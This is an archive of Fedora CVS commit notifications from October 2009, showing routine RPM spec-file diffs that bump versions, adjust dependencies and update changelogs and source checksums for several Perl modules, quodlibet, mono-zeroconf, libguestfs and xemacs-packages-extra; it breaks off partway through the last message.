diff -u -p -r1.16 -r1.17
--- quodlibet.spec	27 Jul 2009 02:42:02 -0000	1.16
+++ quodlibet.spec	29 Oct 2009 18:18:28 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           quodlibet
 Version:        2.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A music management program
 
 Group:          Applications/Multimedia
@@ -37,6 +37,7 @@ Requires:       python >= 2.4
 Requires:       pygtk2 >= 2.10
 Requires:       gstreamer-python >= 0.10.2
 Requires:       gnome-python2-canvas
+Requires:	gstreamer-plugins-good
 
 # For tray icon plugin
 Requires:       gnome-python2-libegg
@@ -124,6 +125,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/quodlibet-%{version}-py2.6.egg-info
 
 %changelog
+* Wed Oct 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-3
+- Require gstreamer-plugins-good - BZ#531664
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kasal at fedoraproject.org  Thu Oct 29 18:18:31 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:18:31 +0000 (UTC)
Subject: rpms/perl-File-Which/F-12 .cvsignore, 1.2, 1.3 perl-File-Which.spec,
	1.8, 1.9 sources, 1.2, 1.3
Message-ID: <20091029181831.E202C11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-File-Which/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15485

Modified Files:
	.cvsignore perl-File-Which.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-File-Which/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	18 Dec 2006 14:42:54 -0000	1.2
+++ .cvsignore	29 Oct 2009 18:18:31 -0000	1.3
@@ -1 +1 @@
-File-Which-0.05.tar.gz
+File-Which-1.09.tar.gz


Index: perl-File-Which.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-File-Which/F-12/perl-File-Which.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-File-Which.spec	26 Jul 2009 06:05:25 -0000	1.8
+++ perl-File-Which.spec	29 Oct 2009 18:18:31 -0000	1.9
@@ -1,16 +1,16 @@
 Name:           perl-File-Which
-Version:        0.05
-Release:        6%{?dist}
+Version:        1.09
+Release:        1%{?dist}
 Summary:        Portable implementation of the 'which' utility
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/File-Which/
-Source0:        http://www.cpan.org/authors/id/P/PE/PEREINAR/File-Which-%{version}.tar.gz
+Source0:        http://www.cpan.org/authors/id/A/AD/ADAMK/File-Which-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(ExtUtils::MakeMaker)
+BuildRequires:  perl(ExtUtils::MakeMaker), perl(Test::Script)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 1.09-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.05-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-File-Which/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	18 Dec 2006 14:42:54 -0000	1.2
+++ sources	29 Oct 2009 18:18:31 -0000	1.3
@@ -1 +1 @@
-bd671a65f770fc0a124095e74c7c8013  File-Which-0.05.tar.gz
+b9429edaad7f45caafa4d458afcfd8af  File-Which-1.09.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:20:20 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:20:20 +0000 (UTC)
Subject: rpms/perl-Digest-SHA1/F-12 .cvsignore, 1.5,
	1.6 perl-Digest-SHA1.spec, 1.22, 1.23 sources, 1.5, 1.6
Message-ID: <20091029182020.6F96D11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Digest-SHA1/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16136

Modified Files:
	.cvsignore perl-Digest-SHA1.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Digest-SHA1/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	3 Feb 2006 19:11:24 -0000	1.5
+++ .cvsignore	29 Oct 2009 18:20:19 -0000	1.6
@@ -1,2 +1 @@
-Digest-SHA1-2.10.tar.gz
-Digest-SHA1-2.11.tar.gz
+Digest-SHA1-2.12.tar.gz


Index: perl-Digest-SHA1.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Digest-SHA1/F-12/perl-Digest-SHA1.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- perl-Digest-SHA1.spec	26 Jul 2009 05:46:15 -0000	1.22
+++ perl-Digest-SHA1.spec	29 Oct 2009 18:20:19 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           perl-Digest-SHA1
-Version:        2.11
-Release:        9%{?dist}
+Version:        2.12
+Release:        1%{?dist}
 Summary:        Digest-SHA1 Perl module
 
 Group:          Development/Libraries
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.12-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.11-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Digest-SHA1/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	3 Feb 2006 19:11:24 -0000	1.5
+++ sources	29 Oct 2009 18:20:19 -0000	1.6
@@ -1 +1 @@
-2449bfe21d6589c96eebf94dae24df6b  Digest-SHA1-2.11.tar.gz
+eeb0292868801a202bd7ead87b291374  Digest-SHA1-2.12.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:20:52 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:20:52 +0000 (UTC)
Subject: rpms/perl-Devel-Symdump/F-12 .cvsignore, 1.8,
	1.9 perl-Devel-Symdump.spec, 1.23, 1.24 sources, 1.8, 1.9
Message-ID: <20091029182052.5A79811C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Devel-Symdump/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16545

Modified Files:
	.cvsignore perl-Devel-Symdump.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Feb 2007 17:47:51 -0000	1.8
+++ .cvsignore	29 Oct 2009 18:20:50 -0000	1.9
@@ -1 +1 @@
-Devel-Symdump-2.07.tar.gz
+Devel-Symdump-2.08.tar.gz


Index: perl-Devel-Symdump.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/F-12/perl-Devel-Symdump.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- perl-Devel-Symdump.spec	26 Jul 2009 05:44:07 -0000	1.23
+++ perl-Devel-Symdump.spec	29 Oct 2009 18:20:51 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           perl-Devel-Symdump
-Version:        2.07
-Release:        7%{?dist}
+Version:        2.08
+Release:        1%{?dist}
 Epoch:          1
 Summary:        A Perl module for inspecting Perl's symbol table
 
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 1:2.08-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:2.07-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Symdump/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Feb 2007 17:47:51 -0000	1.8
+++ sources	29 Oct 2009 18:20:51 -0000	1.9
@@ -1 +1 @@
-4c7dfb240687cf0105ca7e81d07781bf  Devel-Symdump-2.07.tar.gz
+68e3a2f2f989bff295ee63aed5a2a1e5  Devel-Symdump-2.08.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:21:27 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:21:27 +0000 (UTC)
Subject: rpms/perl-Devel-Cycle/F-12 .cvsignore, 1.7,
	1.8 perl-Devel-Cycle.spec, 1.16, 1.17 sources, 1.7, 1.8
Message-ID: <20091029182127.207B011C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Devel-Cycle/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16784

Modified Files:
	.cvsignore perl-Devel-Cycle.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Cycle/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	15 Jul 2008 20:38:45 -0000	1.7
+++ .cvsignore	29 Oct 2009 18:21:26 -0000	1.8
@@ -1 +1 @@
-Devel-Cycle-1.10.tar.gz
+Devel-Cycle-1.11.tar.gz


Index: perl-Devel-Cycle.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Cycle/F-12/perl-Devel-Cycle.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- perl-Devel-Cycle.spec	26 Jul 2009 05:41:09 -0000	1.16
+++ perl-Devel-Cycle.spec	29 Oct 2009 18:21:26 -0000	1.17
@@ -1,6 +1,6 @@
 Name:           perl-Devel-Cycle
-Version:        1.10
-Release:        3%{?dist}
+Version:        1.11
+Release:        1%{?dist}
 Summary:        Find memory cycles in objects
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 1.11-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.10-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Devel-Cycle/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	15 Jul 2008 20:38:45 -0000	1.7
+++ sources	29 Oct 2009 18:21:26 -0000	1.8
@@ -1 +1 @@
-5d6999f6303b2d5ed959e6d48efc5c8c  Devel-Cycle-1.10.tar.gz
+67c42d79bcb7beb337023e3e00b0ebcb  Devel-Cycle-1.11.tar.gz



From ausil at fedoraproject.org  Thu Oct 29 18:22:09 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Thu, 29 Oct 2009 18:22:09 +0000 (UTC)
Subject: rpms/mono-zeroconf/F-12 mono-zeroconf.spec,1.16,1.17
Message-ID: <20091029182209.1DEED11C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-zeroconf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17100

Modified Files:
	mono-zeroconf.spec 
Log Message:
ExklcudeArch sparc64 



Index: mono-zeroconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/F-12/mono-zeroconf.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- mono-zeroconf.spec	27 Oct 2009 23:04:01 -0000	1.16
+++ mono-zeroconf.spec	29 Oct 2009 18:22:08 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           mono-zeroconf
 Version:        0.9.0
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Mono.Zeroconf networking library
 Group:          Development/Languages
 License:        MIT
@@ -12,7 +12,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  mono-devel monodoc-devel
 Requires:       mono-core
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch:    sparc64
 
 %description
 Mono.Zeroconf is a cross platform Zero Configuration Networking library
@@ -58,6 +58,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/monodoc/sources/mono-zeroconf*
 
 %changelog
+* Thu Oct 29 2009 Dennis Gilmore <dennis at ausil.us> - 0.9.0-3
+- ExcludeArch sparc64
+
 * Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.9.0-2
 - Make AvahiDbus the only provider for now
 



From rjones at fedoraproject.org  Thu Oct 29 18:23:41 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 18:23:41 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.75,1.76
Message-ID: <20091029182341.2C34511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17724

Modified Files:
	libguestfs.spec 
Log Message:
Another ugly hack to get automake working.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- libguestfs.spec	29 Oct 2009 18:05:17 -0000	1.75
+++ libguestfs.spec	29 Oct 2009 18:23:40 -0000	1.76
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}.3
+Release:     1%{?dist}.4
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -323,7 +323,11 @@ Requires:    jpackage-utils
 %prep
 %setup -q
 
+# Remove this in 1.0.76:
 %patch0 -p1
+mv inspector/Makefile.am inspector/Makefile.am.orig
+echo 'docdir = ${datadir}/doc/${PACKAGE}' > inspector/Makefile.am
+cat inspector/Makefile.am.orig >> inspector/Makefile.am
 autoreconf
 
 mkdir -p daemon/m4
@@ -571,7 +575,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.3
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.4
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.



From kasal at fedoraproject.org  Thu Oct 29 18:24:10 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:24:10 +0000 (UTC)
Subject: rpms/perl-Module-Find/F-12 perl-Module-Find-changes.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 perl-Module-Find.spec, 1.5, 1.6 sources,
	1.3, 1.4
Message-ID: <20091029182410.6E40B11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Module-Find/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18004

Modified Files:
	.cvsignore perl-Module-Find.spec sources 
Added Files:
	perl-Module-Find-changes.patch 
Log Message:
sync with rawhide

perl-Module-Find-changes.patch:
 Changes |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE perl-Module-Find-changes.patch ---
2009-10-07  Stepan Kasal  <skasal at redhat.com>

	* Changes: fix utf-8 typo, add entry from Find.pm

--- Module-Find-0.08/Changes.cha	2009-09-08 11:00:16.000000000 +0200
+++ Module-Find-0.08/Changes	2009-10-07 16:16:11.000000000 +0200
@@ -25,6 +25,9 @@
 
     0.06, 2008-01-26
             Module::Find now won't report duplicate modules several times 
-            anymore (thanks to Uwe V?lker for the report and the patch)
+            anymore (thanks to Uwe V?lker for the report and the patch)
 
+    0.07, 2009-09-08
+            Fixed RT#38302: Module::Find now follows symlinks by default
+            (can be disabled).
 


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Jul 2008 06:07:16 -0000	1.3
+++ .cvsignore	29 Oct 2009 18:24:09 -0000	1.4
@@ -1 +1 @@
-Module-Find-0.06.tar.gz
+Module-Find-0.08.tar.gz


Index: perl-Module-Find.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/F-12/perl-Module-Find.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Module-Find.spec	26 Jul 2009 11:18:08 -0000	1.5
+++ perl-Module-Find.spec	29 Oct 2009 18:24:09 -0000	1.6
@@ -1,12 +1,13 @@
 Name:           perl-Module-Find
-Version:        0.06
-Release:        3%{?dist}
+Version:        0.08
+Release:        1%{?dist}
 Summary:        Find and use installed modules in a (sub)category
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/Module-Find/
 Source0:        http://www.cpan.org/authors/id/C/CR/CRENZ/Module-Find-%{version}.tar.gz
+Patch0:		perl-Module-Find-changes.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -23,6 +24,7 @@ between looking in the category itself o
 
 %prep
 %setup -q -n Module-Find-%{version}
+%patch0 -p1
 
 
 %build
@@ -34,7 +36,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} ';'
 %{_fixperms} $RPM_BUILD_ROOT/*
 
 
@@ -54,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 0.08-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.06-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Jul 2008 06:07:16 -0000	1.3
+++ sources	29 Oct 2009 18:24:09 -0000	1.4
@@ -1 +1 @@
-64254ded9d9aea2845a2c7cf25a2949b  Module-Find-0.06.tar.gz
+6becb3eeba2da3dba180b9c90cd75e7b  Module-Find-0.08.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:27:11 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:27:11 +0000 (UTC)
Subject: rpms/perl-PadWalker/F-12 .cvsignore, 1.8, 1.9 perl-PadWalker.spec, 
	1.14, 1.15 sources, 1.8, 1.9
Message-ID: <20091029182711.5C6E811C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-PadWalker/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19566

Modified Files:
	.cvsignore perl-PadWalker.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-PadWalker/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	22 Feb 2008 00:26:04 -0000	1.8
+++ .cvsignore	29 Oct 2009 18:27:10 -0000	1.9
@@ -1 +1 @@
-PadWalker-1.7.tar.gz
+PadWalker-1.9.tar.gz


Index: perl-PadWalker.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-PadWalker/F-12/perl-PadWalker.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- perl-PadWalker.spec	26 Jul 2009 14:03:57 -0000	1.14
+++ perl-PadWalker.spec	29 Oct 2009 18:27:10 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           perl-PadWalker
-Version:        1.7
-Release:        4%{?dist}
+Version:        1.9
+Release:        1%{?dist}
 Summary:        Play with other peoples' lexical variables
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.9-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-PadWalker/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	22 Feb 2008 00:26:04 -0000	1.8
+++ sources	29 Oct 2009 18:27:10 -0000	1.9
@@ -1 +1 @@
-0844dcf349349b793cd7a095784e738c  PadWalker-1.7.tar.gz
+8d7e25f522294aee21d8a5b4c1c70ed9  PadWalker-1.9.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:28:00 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:28:00 +0000 (UTC)
Subject: rpms/perl-Parse-CPAN-Meta/F-12 .cvsignore, 1.5,
	1.6 perl-Parse-CPAN-Meta.spec, 1.6, 1.7 sources, 1.5, 1.6
Message-ID: <20091029182800.E7C1F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Parse-CPAN-Meta/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19922

Modified Files:
	.cvsignore perl-Parse-CPAN-Meta.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Parse-CPAN-Meta/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	14 Jun 2009 20:25:18 -0000	1.5
+++ .cvsignore	29 Oct 2009 18:28:00 -0000	1.6
@@ -1 +1 @@
-Parse-CPAN-Meta-1.39.tar.gz
+Parse-CPAN-Meta-1.40.tar.gz


Index: perl-Parse-CPAN-Meta.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Parse-CPAN-Meta/F-12/perl-Parse-CPAN-Meta.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Parse-CPAN-Meta.spec	30 Jul 2009 22:24:56 -0000	1.6
+++ perl-Parse-CPAN-Meta.spec	29 Oct 2009 18:28:00 -0000	1.7
@@ -1,15 +1,15 @@
 Name:           perl-Parse-CPAN-Meta
-Version:        1.39
-Release:        2%{?dist}
+Version:        1.40
+Release:        1%{?dist}
 Summary:        Parse META.yml and other similar CPAN metadata files
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/Parse-CPAN-Meta/
-Source0:        http://search.cpan.org/CPAN/authors/id/A/AD/ADAMK/Parse-CPAN-Meta-%{version}.tar.gz
+Source0:        http://search.cpan.org/CPAN/authors/id/S/SM/SMUELLER/Parse-CPAN-Meta-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl(ExtUtils::MakeMaker)
-BuildRequires:  perl(Test::More) >= 0.47
+BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -29,7 +29,7 @@ rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} \;
 
 %{_fixperms} $RPM_BUILD_ROOT/*
 
@@ -46,6 +46,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.40-1
+- new upstream version
+
 * Thu Jul 30 2009 Jesse Keating <jkeating at redhat.com> - 1.39-2
 - Bump for F12 mass rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Parse-CPAN-Meta/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	14 Jun 2009 20:25:19 -0000	1.5
+++ sources	29 Oct 2009 18:28:00 -0000	1.6
@@ -1 +1 @@
-b5c927089b30ced441ad4677a8bc4d0d  Parse-CPAN-Meta-1.39.tar.gz
+13038b57d3f253f8851323ba9db0b1a1  Parse-CPAN-Meta-1.40.tar.gz



From jjames at fedoraproject.org  Thu Oct 29 18:28:42 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 18:28:42 +0000 (UTC)
Subject: rpms/xemacs-packages-extra/F-11 xemacs-packages-extra.spec, 1.10,
	1.11
Message-ID: <20091029182842.BC6B011C00E5@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs-packages-extra/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19896/F-11

Modified Files:
	xemacs-packages-extra.spec 
Log Message:
* Thu Oct 29 2009 Jerry James <loganjerry at gmail.com> - 20090217-4
- Fix LaTeX BRs.
- Update apel-xemacs Provides.



Index: xemacs-packages-extra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs-packages-extra/F-11/xemacs-packages-extra.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- xemacs-packages-extra.spec	3 Sep 2009 22:06:11 -0000	1.10
+++ xemacs-packages-extra.spec	29 Oct 2009 18:28:41 -0000	1.11
@@ -3,7 +3,7 @@
 
 Name:           xemacs-packages-extra
 Version:        20090217
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Collection of XEmacs lisp packages
 
 Group:          Applications/Editors
@@ -43,8 +43,7 @@ BuildArch:      noarch
 BuildRequires:  xemacs >= 21.5.28-11
 BuildRequires:  texinfo
 # For building auctex docs
-BuildRequires:  texlive-texmf-latex
-BuildRequires:  tetex
+BuildRequires:  tex(latex)
 BuildRequires:  /sbin/install-info
 BuildRequires:  %{__python}
 BuildRequires:  java-devel
@@ -53,7 +52,7 @@ BuildRequires:  lzma
 Requires:       xemacs-packages-base = %{version}
 Requires:       xemacs(bin) >= %{xemver}
 # Fake release here for historical reasons
-Provides:       apel-xemacs = 10.6-6
+Provides:       apel-xemacs = 10.7-1
 
 %description
 XEmacs is a highly customizable open source text editor and
@@ -241,6 +240,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Jerry James <loganjerry at gmail.com> - 20090217-3
+- Fix LaTeX BRs.
+- Update apel-xemacs Provides.
+
 * Thu Sep  3 2009 Jerry James <loganjerry at gmail.com> - 20090217-2
 - Update APEL to a newer version (bz 503185).
 - Teach dired about the /bin/ls dot signifying an SELinux context (bz 504422).



From jjames at fedoraproject.org  Thu Oct 29 18:28:42 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 18:28:42 +0000 (UTC)
Subject: rpms/xemacs-packages-extra/F-12 xemacs-packages-extra.spec, 1.11,
	1.12
Message-ID: <20091029182842.CB72911C0267@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs-packages-extra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19896/F-12

Modified Files:
	xemacs-packages-extra.spec 
Log Message:
* Thu Oct 29 2009 Jerry James <loganjerry at gmail.com> - 20090217-4
- Fix LaTeX BRs.
- Update apel-xemacs Provides.



Index: xemacs-packages-extra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs-packages-extra/F-12/xemacs-packages-extra.spec,v
retrieving revision 1.11
retrieving revision 1.12
